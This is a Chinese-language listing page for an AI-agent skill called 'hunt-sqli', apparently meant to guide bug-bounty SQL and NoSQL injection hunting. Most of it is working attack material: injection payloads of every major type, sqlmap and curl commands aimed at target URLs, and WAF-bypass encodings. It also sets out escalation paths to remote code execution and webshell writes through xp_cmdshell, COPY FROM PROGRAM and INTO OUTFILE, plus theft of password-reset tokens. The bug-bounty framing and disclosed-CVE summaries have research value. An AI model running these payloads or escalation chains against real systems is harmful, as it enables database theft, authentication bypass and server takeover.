关于 hunt-sqli
hunt-sqli 是面向漏洞赏金研究者的 SQL 与 NoSQL 注入测试技能,提供输入点发现、数据库定向探测、漏洞确认和影响记录指引。
主要功能
- 01输入点与技术栈发现
- 02错误、布尔和时间盲注探测
- 03MongoDB 注入检查
- 04自动化确认指引
- 05影响评估与报告
适用场景
- 01测试搜索和筛选参数
- 02检查 API 的 SQL 或 NoSQL 注入
- 03准备可复现的漏洞证据
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-sqli安装后在 Claude Code 中输入/hunt-sqli确认已加载。
详细介绍
适用场景
当目标的任何端点会与数据库交互时使用,包括搜索、筛选、排序、登录、基于 ID 的查询、API 参数,或任何可能用于查询的用户输入。SQL 注入(包括 NoSQL 注入)仍是收益最高的漏洞类别之一,因为它会直接威胁数据的机密性、完整性和可用性。GET/POST/JSON/headers/cookies 中所有会传递到后端数据库的参数都可能存在风险。价值最高的目标:多租户 SaaS 平台、电商/支付系统、搜索端点、分析子域名和第三方插件。
核心目标
SQL 注入仍是漏洞赏金中收益最高的漏洞类别之一,因为它会大规模直接威胁数据的机密性、完整性和可用性。
价值最高的目标:
- 采用多租户数据库的 SaaS 平台 — 一次注入就可能泄露所有客户数据
- 电商/支付系统 — 个人身份信息、银行卡数据、交易记录
- 搜索端点 — 用户控制的输入被直接传入查询(例如 Rockstar Games 的
/search) - 分析/跟踪子域名 — 通常匆忙搭建,测试较少(例如
sctrack.email.[RIDESHARE_CO].cn) - 企业部署中的第三方插件 — WordPress 插件、运行在企业域名上的 CMS 扩展(Uber 的 Huge IT Video Gallery)
- 对外开放的内部工具 — Apache Airflow、GitHub Enterprise、管理仪表板
- NoSQL 后端(MongoDB) — 常被忽视,属于同一类注入,只是语法不同
回报最高的资产类型:
- 带有
/search、/filter、/sort、/report参数的生产 API - 使用旧技术栈的子域名(
.cn、.co、.io等区域变体) - 在漏洞赏金范围内的自托管开源工具(Airflow、GitLab、Jenkins)
- 电子邮件跟踪和分析基础设施
攻击面信号
可能存在可注入参数的 URL 模式:
/search?q=
/filter?category=
/sort?by=&order=
/report?start_date=&end_date=
/api/v1/items?id=
/index.php?id=
/gallery?album_id=
/track?uid=&campaign=
?page=&limit=&offset=
响应头信号:
X-Powered-By: PHP— 可能使用 MySQL/PostgreSQL 后端Server: Apache+ PHP — 经典 LAMP 技术栈X-Powered-By: Express— 可能使用 MongoDB/NoSQL 后端- 响应中泄露数据库错误消息(MySQL、PostgreSQL、MSSQL 错误字符串)
表明会动态构造查询的 JavaScript 模式:
// Look for these in JS bundles
fetch(`/api/search?q=${userInput}`)
$.ajax({ url: '/filter?sort=' + param })
axios.get('/report?from=' + startDate + '&to=' + endDate)
技术栈信号:
- 带有第三方插件的 WordPress 站点(检查
/wp-content/plugins/) - Apache Airflow 端点(
/admin/、/api/experimental/) - GitHub Enterprise(
/_graphql、/search、/api/v3/) - Node.js + MongoDB 组合(检查请求体中的
$where、$regex) - 返回详细 MySQL 错误的 PHP 应用
NoSQL 的内容类型信号:
- 带有嵌套对象参数的
Content-Type: application/json请求体 - 接受数组的参数:
param[]=value或{"key": {"$gt": ""}}
分步狩猎方法
-
枚举所有输入向量 — 在正常使用应用时使用 Burp Suite 被动扫描。捕获每个参数:GET、POST、JSON 请求体、HTTP 标头(User-Agent、Referer、X-Forwarded-For)、Cookie、路径段。
-
识别技术栈 — 检查响应标头、错误消息、招聘信息、Wappalyzer、BuiltWith。这有助于确定优先测试哪些载荷(MySQL、PostgreSQL 还是 MongoDB)。
-
建立基准响应 — 记录正常请求的响应长度、状态码和响应时间。这就是用于比较差异的基准。
-
发送基于错误的探测载荷 — 注入单引号
'、双引号"、反引号`,并观察是否出现:- 数据库错误消息(立即确认)
- 响应长度变化
- HTTP 500 错误
-
测试基于布尔值的盲注 — 发送真假条件并比较响应:
param=1 AND 1=1与param=1 AND 1=2- 如果响应不同 → 很可能存在可注入点
-
测试基于时间的盲注 — 如果没有可见差异:
- MySQL:
param=1 AND SLEEP(5) - PostgreSQL:
param=1; SELECT pg_sleep(5)-- - MSSQL:
param=1; WAITFOR DELAY '0:0:5'-- - 测得响应时间差 > 5 秒 = 已确认
- MySQL:
-
针对 NoSQL(MongoDB) — 通过 JSON 请求体和 PHP 风格的数组参数测试对象注入:
- 在 JSON 中将字符串值替换为
{"$gt": ""} - 在查询字符串中尝试
param[$ne]=invalid
- 在 JSON 中将字符串值替换为
-
自动化确认 — 对已确认的候选点运行
sqlmap,并使用--level=3 --risk=2枚举数据库,无需手动操作。 -
扩大影响 — 尝试:
- 基于
UNION的提取(先枚举列) - 导出
INFORMATION_SCHEMA - 文件读写(
LOAD_FILE、INTO OUTFILE),前提是权限允许 - 使用堆叠查询实现 RCE(MSSQL
xp_cmdshell)
- 基于
-
记录完整攻击链 — 保存 Burp repeater 请求/响应、sqlmap 输出,以及数据提取证明(报告中仅包含非敏感字段)。
载荷与检测模式
初始的基于错误的探测载荷:
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
" OR 1=1--
' OR 1=1#
admin'--
基于布尔值的盲注:
' AND 1=1-- (true condition)
' AND 1=2-- (false condition)
' AND SUBSTRING(version(),1,1)='5'--
1 AND (SELECT COUNT(*) FROM users) > 0--
基于时间的盲注:
-- MySQL
' AND SLEEP(5)--
1; SELECT SLEEP(5)--
-- PostgreSQL
'; SELECT pg_sleep(5)--
1 AND (SELECT 1 FROM pg_sleep(5))--
-- MSSQL
'; WAITFOR DELAY '0:0:5'--
1; EXEC xp_cmdshell('ping -n 5 127.0.0.1')--
-- SQLite
' AND (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))))==1--
基于 UNION 的注入(先枚举列):
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 10-- (find column count via error)
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,database(),3--
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
NoSQL 注入(MongoDB):
// JSON body injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"$where": "this.username == this.password"}
// Query string injection
username[$ne]=invalid&password[$ne]=invalid
username[$regex]=.*&password[$regex]=.*
PHP 哈希/数组注入:
# Replace scalar with array
param[key]=value
param[$gt]=0
param[$ne]=null
用于搜索 JS 源码的 grep 模式:
# Find unsanitized query construction in JS
grep -r "query\s*+=" src/
grep -r "WHERE.*\+" src/
grep -r "\.find({" src/ | grep -v "sanitize\|escape"
grep -rE "db\.query\(.*\+" src/
基于时间的 curl 检测:
# Baseline
curl --max-time 30 --connect-timeout 10 -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test"
# Inject
curl --max-time 30 --connect-timeout 10 -o /dev/null -s -w "%{time_total}\n" "https://target.com/search?q=test' AND SLEEP(5)--"
# SQLMap quick scan
sqlmap -u "https://target.com/search?q=test" --dbs --level=3 --risk=2 --batch
# SQLMap with POST
sqlmap -u "https://target.com/api/filter" --data="category=electronics&sort=price" --dbs --batch
# SQLMap with cookie auth
sqlmap -u "https://target.com/admin/report" --cookie="session=TOKEN" --dbs --batch --level=5
用于列枚举的 Burp Intruder 载荷列表:
§1§
§1§,§1§
§1§,§1§,§1§
§1§,§1§,§1§,§1§
常见根本原因
-
使用字符串拼接,而非参数化查询 — 首要根本原因。开发者直接将用户输入拼接到 SQL 字符串中:
"SELECT * FROM items WHERE id=" + userId。 -
为追求“性能”绕过 ORM — 开发者为了处理复杂联接或报表,从安全的 ORM 切换到原始查询:
db.query("SELECT " + userColumn + " FROM table")。 -
搜索/筛选功能 — 排序和筛选逻辑很难进行参数化(列名无法绑定),因此容易导致允许列表被绕过,或完全没有保护。
-
第三方插件/库漏洞 — 开发者信任已安装的插件(WordPress、Joomla 扩展),却不审计其查询逻辑(Uber 的 Huge IT Video Gallery 案例)。
-
旧版代码库 — 早于 PDO/MySQLi 预处理语句的旧 PHP 4/5 代码,仍在已收购资产或区域子域名的生产环境中运行。
-
将内部工具转为外部使用 — Apache Airflow 等工具原本是为内部使用设计的,安全加固有限,之后却向经过身份验证的外部用户开放。
-
NoSQL 带来的虚假安全感 — 开发者认为“我们使用 MongoDB,所以没有 SQL 注入”,因而完全跳过输入验证,导致对象/运算符注入。
-
对 ORDER BY / GROUP BY 转义不足 — 这些子句无法使用绑定参数,因此开发者会手动转义(而且往往处理不当)。
-
HTTP 标头及不明显的输入 —
User-Agent、Referer、X-Forwarded-For未经清理就存入数据库,因为有人认为它们是服务端的“可信”值。
绕过技术
WAF 绕过技术:
关键字混淆:
-- Space substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT username FROM users
%09SELECT%09username%09FROM%09users (tab)
SELECT%0Ausername%0AFROM%0Ausers (newline)
-- Case variation
SeLeCt UsErNaMe FrOm UsErS
sElEcT username fRoM users
-- Comment injection
SE/**/LECT username FR/**/OM users
/*!SELECT*/ username /*!FROM*/ users (MySQL version comments)
/*!50000SELECT*/ username FROM users
编码绕过:
URL encode: %27 = ' %20 = space %23 = #
Double URL encode: %2527 = %27 = '
Unicode: ʼ (U+02BC) as quote substitute
HTML entity (in reflected contexts): '
运算符替换:
-- Avoid "OR" and "AND"
' || '1'='1
' && '1'='1
UNION ALL SELECT (instead of UNION SELECT)
函数替换:
-- When SLEEP is blocked
BENCHMARK(10000000,MD5(1))
GET_LOCK('a',5)
-- When UNION is blocked
INTO OUTFILE (different extraction method)
通过基于标头的注入规避 URL WAF:
curl --max-time 30 --connect-timeout 10 -H "X-Forwarded-For: 127.0.0.1' AND SLEEP(5)--" https://target.com/
curl --max-time 30 --connect-timeout 10 -H "User-Agent: test' AND SLEEP(5)--" https://target.com/
curl --max-time 30 --connect-timeout 10 -H "Referer: https://evil.com/' AND SLEEP(5)--" https://target.com/
JSON/NoSQL WAF 绕过:
{"username": {"$\u0067t": ""}}
{"user\u006eame": {"$gt": ""}}
绕过“仅限已认证用户”的注入认证(Airflow 模式):
- 获取低权限账户(免费套餐、试用账户、泄露的凭据)
- 通过已认证的端点注入——WAF 通常会将已认证流量列入白名单
通过分块传输编码绕过请求体检查:
Transfer-Encoding: chunked
(split payload across chunks to evade WAF reassembly)
第 0 关验证
编写报告前,请回答以下三个问题:
1. 攻击者现在能做什么? 必须能够演示以下至少一项:
- 通过错误消息或 UNION 提取数据库版本/名称
- 证明可以控制延迟(使用
SLEEP(5)延迟 5 秒,并通过计时确认) - 从
information_schema.tables提取一行数据 - 通过布尔注入绕过身份验证
- 对于 NoSQL:绕过登录或提取集合数据
如果唯一证据是错误消息发生变化,却没有数据提取或计时证明,则该问题可能仅供参考(如报告 1——评级为低)。
2. 受害者会失去什么? 必须明确指出面临风险的具体数据:
- 个人身份信息(PII)(姓名、电子邮件、密码、地址)
- 身份验证凭据或会话令牌
- 业务数据(交易、专有记录)
- 向攻击者控制的服务器外传数据的能力
如果仅笼统地说“数据库可能被读取”,却未指出哪个数据库/表包含敏感数据,会大幅削弱报告的说服力。
3. 能否从头开始在 10 分钟内复现? 必须具备:
- 一条可演示该漏洞的 curl 命令,或一条 Burp Repeater 请求
- 不依赖会立即过期的特定会话状态
- 能稳定触发该行为的 SQLMap 篡改脚本或手动载荷
- 屏幕录像或分步说明,让分流工程师无需你的帮助即可复现
如果复现需要多个账户、特殊时机或竞争条件,请在提交前明确记录所有前提条件。
真实影响案例
场景 A — 区域子域名,旧技术栈(Uber sctrack 模式)
一个基于旧版 PHP 技术栈构建的邮件跟踪子域名(sctrack.email.[company].com.cn)接受用于跟踪邮件打开情况的 uid 参数。该参数被直接拼接进 MySQL 查询。未经身份验证的攻击者利用基于时间的盲注载荷,可以枚举整个数据库架构,提取包含 PII 的邮件营销活动收件人列表,并可能进一步渗透内部基础设施。区域子域名通常由安全成熟度较低的本地团队管理,且位于主要 WAF 防护边界之外,因此一直是高收益目标。
场景 B — 企业域名上的第三方插件(Uber WordPress 插件模式)
一家公司的营销网站运行 WordPress,并安装了 Huge IT Video Gallery 插件。该插件的 album_id 参数未使用参数化查询。由于该网站与其他服务共用数据库凭据,攻击者利用漏洞后可能突破 WordPress 安装环境的范围。这揭示了插件供应链风险:母公司的漏洞赏金计划将该域名纳入范围,但存在漏洞的代码完全来自第三方。挖掘 WordPress 插件漏洞,意味着既要根据已知 CVE 审查已安装的插件,也要测试其参数中是否存在新的注入漏洞——即使根本原因只是一个价值 20 美元的插件,企业品牌也会推高赏金。
场景 C — 经身份验证的内部工具对外暴露(Airflow 模式)
Apache Airflow 的 Web 界面用于工作流编排,供经身份验证的用户访问,其中的管理界面过滤器/搜索参数存在 SQL 注入漏洞。由于 Airflow 通常使用数据库超级用户凭据运行(它需要管理自己的元数据库),任何经身份验证的用户(包括低权限账户)都可能利用该漏洞,获取数据库的完整读写权限,并可能通过 COPY TO/FROM 或类似数据库功能执行操作系统级命令。教训是:“仅限经身份验证的用户”并不意味着“安全”——内部工具的授权模型往往薄弱,数据库连接权限也常常过高。
已披露报告案例(补充 +4 — 2021-2024)
以下是真实且经过验证的漏洞赏金 / CVE / 协调披露案例,为此技能补充了现代(2021-2024)示例,重点关注 NoSQL 和 ORM 绕过——这两类 SQLi 在较旧的内容包中最为少见。
-
Rocket.Chat —
getPasswordPolicy中的预认证盲 NoSQL 注入(CVE-2021-22911)(H1 #1130721 · Sonar 分析文章)- 子类:NoSQL 注入(MongoDB
$regex运算符)——预认证 - 载荷(Meteor DDP 方法调用):
{"msg":"method","method":"getPasswordPolicy","params":[{"token":{"$regex":"^a"}}]}— 通过响应时间 / 布尔侧信道逐个字符暴力破解密码重置令牌,再进一步利用管理员密码重置功能 → 通过集成实现 RCE - 根本原因:Meteor
methods接受原始对象选择器;getPasswordPolicy在将token传递给 MongofindOne前,未验证其是否为字符串 - 年份:2021 — H1 私有漏洞赏金报告与 CVE-2021-22911 相关联
- 子类:NoSQL 注入(MongoDB
-
Mongoose ORM — 通过
populate({match})注入$where(CVE-2024-53900 + CVE-2025-23061)(GHSA-m7xq-9374-9rvx)- 子类:NoSQL 注入——ORM 原始运算符绕过(Mongoose Node.js)
- 载荷:
Model.find().populate({path:'author', match:{$where:"sleep(5000) || true"}})— 攻击者控制的 JSON 被转发到populate({match}),最终抵达 MongoDB$where,执行任意服务器端 JavaScript → 盲数据窃取 + DoS - 根本原因:Mongoose < 8.8.3 未从
match筛选器中移除$where;开发者误以为 ORM 层面已经安全 - 年份:2024 — 通过 Mongoose 项目 / GitHub Security Lab IBB 报告
-
Django —
QuerySet.values()JSONField SQL 注入(CVE-2024-42005)(H1 #2646493 · 提交)- 子类:ORM 原始片段 SQLi(Django ORM — 列别名注入)
- 载荷:
Item.objects.values('data__"); DROP TABLE x;--')— 构造的 JSON 路径键(作为*args从请求参数传入)被用作 SQL 列别名,且未经转义;.values()生成了SELECT (data->>'…') AS "…"; DROP TABLE x;--" - 根本原因:Django 从用户提供的 JSONField 键字符串生成未加引号的列别名;开发者误以为别名值始终由开发者控制
- 年份:2024 — CVSS 9.8,由 Eyal Gabay(EyalSec)通过 Django 的 HackerOne 计划报告 → 获得 IBB 奖励
-
Mozilla —
mozilla.social邀请端点上的布尔型盲 SQLi(H1 #2209130)- 子类:认证相关端点上的布尔型盲 SQLi
- 载荷:
POST /invite {"code":"abc' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"}— “代码无效”和“代码已接受并发出重定向”之间的布尔差异,使攻击者能够枚举 OIDC 代理 Postgres 后端中的架构 / 表 - 根本原因:邀请代码查询通过原始 SQL 字符串构建,连接到代理的 Postgres 数据库;开发者误以为代码较短且不透明,因此跳过了参数绑定
- 年份:2023 — Mozilla H1 漏洞赏金(披露内容中已隐去金额)
验证
运行此自检,以确认 sqli 漏洞猎寻已准备就绪:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-sqli" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能具有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即可确认技能结构正确并已准备就绪。
陷阱
- 基于错误的 SQLi,但未提取数据 — 500 错误中包含 SQL 片段,可以证明存在注入,但不能证明其可利用。需要提取数据,而不只是看到错误。
- 盲注 SQLi,但未提取数据 — 基于布尔值或时间的盲注更难利用,但仍然有效。至少要演示提取表名。
- 使用 sqlmap 转储数据,但未手动确认 — sqlmap 可能产生误报。至少手动验证一条提取出的数据。
- 二阶 SQLi — 数据现在存储,之后才被利用。注入点和利用点是不同的端点。
- 混淆 NoSQL 与 SQL — MongoDB 的
$gt、$ne属于 NoSQL 注入,而不是 SQLi。这是不同的攻击类别。
相关技能与攻击链
阶段 X — 空字节 SQL 注入
某些数据库驱动(pdo_firebird、较旧的 ODBC、旧版 C 库)在语句准备过程中会在内部使用 strncat()/strcpy()。这些函数会将 \0(NUL 字节)视为字符串终止符。当包含 \0 的用户输入先经过 PDO::quote()(正确转义),再经过 PDO::prepare()(驱动端分词器)时,NUL 字节会截断带引号的字面值,移除结尾引号,从而允许 SQL 注入。已在 PHP Firebird 驱动中确认(CVE-2025-14179)。
# Inject NUL byte to break quoted string boundary
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/search?q=%00' OR '1'='1' --"
# POST with NUL byte in parameter
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"alice\u0000","department":" UNION SELECT * FROM users--"}'
# URL-encoded NUL byte
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page.php?id=1%00' UNION SELECT 1,2,3--"
关键指标:
- 目标使用 Firebird、启用了
PDO::ATTR_EMULATE_PREPARES的 PostgreSQL,或旧版 ODBC - 应用在调用
PDO::prepare()前调用PDO::quote()(模式:先 quote,再 prepare) - 即使引号处理“正确”,参数中的 NUL 字节仍会导致查询损坏
相关技能与攻击链
hunt-rce— 如果 SQLi 所使用的数据库用户拥有FILE、xp_cmdshell或COPY FROM PROGRAM权限,那么 SQLi 就是 RCE 原语,而不只是读取数据的手段。攻击链原语:MSSQL 联合查询 SQLi →EXEC xp_cmdshell 'whoami'→ 以NT AUTHORITY\SYSTEM身份实现 RCE;使用pg_read_server_files或COPY ... FROM PROGRAM 'id'的 Postgres SQLi → RCE;拥有FILE权限的 MySQL SQLi → 通过INTO OUTFILE将 Webshell 写入 Web 根目录。hunt-idor— 一旦 SQLi 让你能任意读取用户表,你就能获取所需的 ID/UUID,大规模枚举 IDOR 端点。攻击链原语:盲注 SQLi 提取users.uuid列 → 将 UUID 输入/api/users/{uuid}/profile→ 确认存在大规模且涉及 PII 的 IDOR,而不是仅仅推测存在访问控制缺陷。hunt-nosqli— NoSQL 注入(MongoDB 的 $regex、$where、$ne)语法不同,但逻辑与 SQLi 相同。如果 Express/Mongo 技术栈上的 SQLi 失败,就改用{\"username\": {\"$gt\": \"\"}, \"password\": {\"$gt\": \"\"}},通过完全不同的数据库范式绕过身份验证。hunt-ldap— LDAP 注入和 SQLi 的根本原因相同(查询语言中的输入未经清理),但攻击目标是目录服务,而非关系数据库。攻击链原语:对由 AD 支持的登录流程实施 LDAP 注入,通过(&(uid=*)(userPassword={password}))绕过身份验证——注入类别相同,解析器不同。hunt-auth-bypass— 在登录表单或会话表中使用经典的' OR 1=1 --,就是通过 SQLi 绕过身份验证。攻击链原语:对password_reset_tokens表实施 SQLi → 读取或插入一条属于[email protected]的令牌记录 → 无需看到原始密码即可实现 ATO。security-arsenal— 使用 SQLi 载荷树(WAF 绕过联合查询变体/**/UnIoN/**/SeLeCt/**/、MSSQLWAITFOR DELAY '0:0:10'、MySQLSLEEP(10)、Postgrespg_sleep(10)、OracleDBMS_PIPE.RECEIVE_MESSAGE、NoSQLi{"$ne": null}/{"$where": "sleep(5000)"},以及通过先存储后渲染的字段实施二阶注入)。triage-validation— 报告前应用可复现性门槛。sleep-10 载荷产生 200ms 的时间差只是噪声,不是盲注 SQLi。必须有统计证据(5 次 0s 测试与 5 次 10s 测试,置信区间不重叠),或带有唯一标记的 OOB DNS 回调。hunt-sqli 内部的哨兵/基线模式正是为此而设。